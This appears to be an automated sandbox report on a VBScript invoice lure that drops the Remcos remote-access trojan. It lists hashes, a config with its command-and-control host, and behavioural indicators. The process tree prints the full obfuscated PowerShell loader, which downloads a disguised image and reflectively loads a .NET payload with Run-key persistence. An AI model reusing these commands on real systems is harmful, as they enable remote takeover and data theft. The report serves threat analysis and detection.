Analysis
-
max time kernel
300s -
max time network
290s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/12/2023, 22:12
Static task
static1
Behavioral task
behavioral1
Sample
Invoice49098.vbs
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Invoice49098.vbs
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
Invoice49098.vbs
Resource
win10v2004-20231215-en
General
-
Target
Invoice49098.vbs
-
Size
1KB
-
MD5
48346b598ee2dae804d9c118d1150885
-
SHA1
d2681bcd032d501919cf07ce205e14a00a09280d
-
SHA256
6e042637edecf20d00a889b8582e805e4d2ea12f2baf300ea952c3fd9b4f03aa
-
SHA512
c0d8abc8a9ee7e32ab89a67dbd7abbc229afeb4fc0ce5837737bab98641fe429f8cf5ffe84c657a91d24da5949190cdc75188d00b72214ea273f6242ab4a1e65
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/689/631/original/new_image.jpg?1702461175
https://uploaddeimagens.com.br/images/004/689/631/original/new_image.jpg?1702461175
Extracted
remcos
RemoteHost
remco8100.duckdns.org:8100
-
audio_folder
MicRecords
-
audio_record_time
5
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connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
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copy_folder
Remcos
-
delete_file
false
-
hide_file
false
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hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-G51VNO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
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take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 3 5020 WScript.exe 23 4252 powershell.exe 36 4252 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\VbsName.vbs" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4252 set thread context of 632 4252 powershell.exe 97 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2896 powershell.exe 2896 powershell.exe 4252 powershell.exe 4252 powershell.exe 2808 powershell.exe 2808 powershell.exe 4252 powershell.exe 4252 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2896 powershell.exe Token: SeDebugPrivilege 4252 powershell.exe Token: SeDebugPrivilege 2808 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 632 RegAsm.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 5020 wrote to memory of 2896 5020 WScript.exe 90 PID 5020 wrote to memory of 2896 5020 WScript.exe 90 PID 2896 wrote to memory of 4252 2896 powershell.exe 92 PID 2896 wrote to memory of 4252 2896 powershell.exe 92 PID 4252 wrote to memory of 2808 4252 powershell.exe 94 PID 4252 wrote to memory of 2808 4252 powershell.exe 94 PID 4252 wrote to memory of 3136 4252 powershell.exe 98 PID 4252 wrote to memory of 3136 4252 powershell.exe 98 PID 4252 wrote to memory of 3136 4252 powershell.exe 98 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97 PID 4252 wrote to memory of 632 4252 powershell.exe 97
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice49098.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDgDgTreOQDgTrevDgTreDYDgTreMwDgTrexDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrewDgTreDIDgTreNDgTreDgTre2DgTreDEDgTreMQDgTre3DgTreDUDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreQwBsDgTreGEDgTrecwBzDgTreEwDgTreaQBiDgTreHIDgTreYQByDgTreHkDgTreMwDgTreuDgTreEMDgTrebDgTreBhDgTreHMDgTrecwDgTrexDgTreCcDgTreKQDgTre7DgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFIDgTredQBuDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTredgB2DgTreC8DgTreZwBuDgTreC4DgTrebQBvDgTreGMDgTreLgBkDgTreGUDgTredDgTreBhDgTreHIDgTreZwBlDgTreHQDgTrebgBpDgTreGgDgTreYwBlDgTreHQDgTreYgBhDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDIDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreFYDgTreYgBzDgTreE4DgTreYQBtDgTreGUDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreLDgTreDgTregDgTreCcDgTreTDgTreBuDgTreGsDgTreTgBhDgTreG0DgTreZQDgTrenDgTreCkDgTreKQDgTre=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/689/631/original/new_image.jpg?1702461175';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('ClassLibrary3.Class1');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('txt.vv/gn.moc.detargetnihcetba//:sptth' , '' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName'))"3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\VbsName.vbs4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2808
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of SetWindowsHookEx
PID:632
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:3136
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-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD51879c3429e5eec4d50df34d07459a2ac
SHA1ae000701d7b212ae4253bdb5c5d52398d98c42f6
SHA25602ebc3314442ae5eff3f105fd1fe96dbefa527f2b89ad143fd6bac593edc0d91
SHA512850bdac0592513ab30c5a1c6dc784ecc054beddb4ef6cec0944ad94937e1842dfd3a54cdb54740f74e9399a5b85f56cabd5611eee3636a95aac896f4bc4486eb
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
936B
MD55102750b3c9a40a4ece73b90d619b16c
SHA1bfc351a7a125cc174415bce4922198d321d7c0dd
SHA256b95feba495b3378750781ea3a1b0ffd7557c560f40d3961d8a5d855ebf7933d0
SHA512b9a3ef7cc981f4e38185ef93b7176f1e79077c93d88670030d84305041dd8d3a95cdce4fc4a27453d45c5e76a220cb2a55e8f9413c106b3a36fafa8ef4956771
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Filesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82